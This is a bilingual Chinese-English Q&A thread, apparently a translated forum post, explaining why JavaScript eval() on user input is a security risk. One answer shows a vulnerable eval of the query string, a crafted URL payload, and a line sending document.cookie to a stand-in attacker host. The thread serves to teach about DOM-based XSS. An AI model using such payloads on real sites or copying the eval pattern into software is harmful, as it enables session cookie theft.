javascript eval()和安全性

javascript eval() and security

developer.mozilla.org说:

Don't use eval needlessly! eval() is a dangerous function, which
executes the code it's passed with the privileges of the caller.

https://developer.mozilla.org/en-us/docs/web/javascript/reference/global_objects/eval

例如,任何恶意用户都可以打开chrome调试器,并修改正在执行的javascript代码。所以他可以把自己的职能付诸实施等等。

一般来说,是否有"安全的javascript代码"之类的东西?


Any malicious user can turn on chrome debugger for example, and modify
javascript code that is being executed. So he can put his own
functions to be executed etc.

是的,用户可以使用开发人员工具使用JavaScript"攻击"自己的客户端会话。

然而,eval和开发人员工具之间的区别在于eval可以在可共享链接中执行操作。攻击者可以向受害者发送一个链接,利用代码评估功能。

采用此代码:

1
eval('alert("Your query string was ' + unescape(document.location.search) + '");');

现在,如果查询字符串是?foo,您只需得到一个警告对话框,其中说明以下内容:Your query string was ?foo

现在假设查克给鲍勃发了一封邮件,主题是"看看这个伟大的链接!".

连接结构如下:

http://www.example.com/page.htm?hello%22);alert(document.cookie+%22,其中www.example.com是您的网站。

这会将eval()执行的代码修改为

1
2
alert("Your query string was hello");
alert(document.cookie+"");

(为了清晰起见,我添加了新行)。这将显示一个警报框,显示所有非httponly cookie。

进入下一阶段,攻击者可以构建一个图像链接,将会话cookie发送给自己。

1
new Image().src="https://evil.example.org/?cookie=" + escape(document.cookie)

这被称为跨站点脚本(XSS)攻击。实际上,类型是基于DOM的XSS,具体来说。

Is there such thing as"secure javascript code" in general?

是的,对XSS安全的代码可以被认为是"安全的javascript代码"——它可以保护当前用户免受跨域攻击。但是,服务器端代码"信任"当前的最终用户不会使用开发人员工具修改javascript代码或变量以达到自己的优势,但这并不安全。

因此,安全的javascript代码就是这样的代码,它只保护当前用户。


是的,当然有安全的javascript。您总是可以在浏览器中修改javascript,就像修改机器上运行的python程序一样。

能够在您自己的机器上改变代码的工作方式是很琐碎的,并不是一个立即的安全问题。

eval()经常被认为是有问题的,因为它往往是用用户生成的输入来执行的(我认为真正的不正确的用例很少)。@silverlightfox在他出色的回答中解释了为什么这可能是一个问题。归根结底,Eval()可能被用来在别人的机器上运行代码,这是一个安全问题。

请注意,这并不是单独针对javascript的,大多数语言都有类似的命名函数。这些功能附带类似的警告。